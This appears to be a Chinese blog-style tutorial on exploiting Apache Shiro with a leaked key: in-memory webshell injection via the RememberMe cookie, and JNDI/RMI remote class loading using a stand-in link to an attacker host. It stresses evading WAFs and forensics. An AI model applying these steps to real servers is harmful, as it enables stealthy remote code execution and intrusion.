Shiro 有 Key 无链怎么利用
1. 内存马注入
这是目前最主流且最有效的利用方法之一。如果能通过反序列化注入一个内存马,我们就可以直接与服务器进行交互,绕过 WAF、IDS 等安全设备,并且不留下任何磁盘文件
利用原理:
- 自定义反序列化类:我们需要构造一个恶意的序列化数据,其中包含一个自定义的类
- 反射机制:这个自定义类在反序列化时,其
readObject
方法会被调用。我们利用反射机制,在readObject
方法中获取当前应用的ServletContext
- 注入 Webshell:有了
ServletContext
,我们就可以动态地注册一个 Servlet、Filter 或者 Listener,从而注入一个内存 Webshell
具体步骤:
- 编写内存马代码:使用 Java 编写一个内存马,通常是一个 Filter 或 Servlet,用于接收请求并执行命令
- 构造恶意序列化数据:将内存马代码嵌入到序列化数据中
- 加密:使用泄露的 Shiro Key,对这个序列化数据进行 AES 加密
- 发送请求:将加密后的数据作为 RememberMe cookie 的值发送到服务器
- 反序列化:Shiro 框架会解密并反序列化这个 cookie,从而触发我们的恶意代码,实现内存马注入
优势:
- 绕过传统安全设备:内存马直接运行在内存中,不依赖于文件,因此可以绕过绝大部分基于文件扫描的 WAF 和杀毒软件
- 无文件落地:攻击不留下任何磁盘痕迹,增加了溯源的难度
2. RMI 远程加载
这种方法利用了 Java 的远程方法调用(RMI)机制,通过反序列化来触发远程加载恶意代码
利用原理:
- JNDI 注入:反序列化时,我们可以构造一个
com.sun.jndi.rmi.registry.RegistryContext
对象,通过 JNDI 注入的方式,让服务器去连接一个我们控制的 RMI 服务器 - 远程加载 Class 文件:RMI 服务器会返回一个恶意对象,该对象会触发服务器远程加载并实例化我们提供的恶意 Class 文件
具体步骤:
- 搭建 RMI Server:利用
ysoserial
或自定义代码搭建一个恶意的 RMI 服务器 - 编写恶意 Class:编写一个恶意的 Class 文件,其中包含要执行的命令
- 构造恶意序列化数据:构造一个包含 JNDI 注入链接的序列化数据,例如
rmi://attacker_ip:port/EvilObject
- 加密并发送:使用 Shiro Key 对数据进行加密,并作为 RememberMe cookie 发送
- 反序列化触发:服务器反序列化时,会触发 JNDI 注入,连接我们的 RMI 服务器并加载恶意 Class,最终实现命令执行
限制:
- 需要目标服务器能够访问外网或者我们内网的 RMI 服务器
- Java 版本对 JNDI 注入有一定限制,高版本可能需要额外配置